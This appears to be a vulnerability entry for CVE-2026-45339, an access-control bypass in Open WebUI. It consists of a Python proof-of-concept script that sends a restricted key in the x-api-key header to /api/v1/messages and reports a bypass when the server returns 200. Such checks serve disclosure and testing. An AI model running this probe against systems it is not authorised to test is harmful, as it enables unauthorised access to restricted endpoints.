CVE-2026-45339 Open WebUI 访问控制绕过漏洞

import requests def verify_vulnerability(target_url, api_key): """ This script verifies the access control bypass vulnerability in Open WebUI. It attempts to access a restricted endpoint using the x-api-key header. """ restricted_endpoint = f"{target_url}/api/v1/messages" # Payload for the API request payload = { "model": "default-model", "messages": [{"role": "user", "content": "test"}] } # Headers to test bypass headers = { "Content-Type": "application/json", "x-api-key": api_key # Vulnerable header } try: response = requests.post(restricted_endpoint, json=payload, headers=headers, timeout=5) if response.status_code == 200: print("[+] Vulnerability Confirmed: Request bypassed restriction.") print(f"[+] Response: {response.text}") elif response.status_code == 403: print("[-] Access Denied: Restriction is working correctly.") else: print(f"[?] Unexpected status code: {response.status_code}") except Exception as e: print(f"[!] Error occurred: {e}") if __name__ == "__main__": # Example usage target = "http://localhost:3000" key = "sk-restricted-key-example" verify_vulnerability(target, key)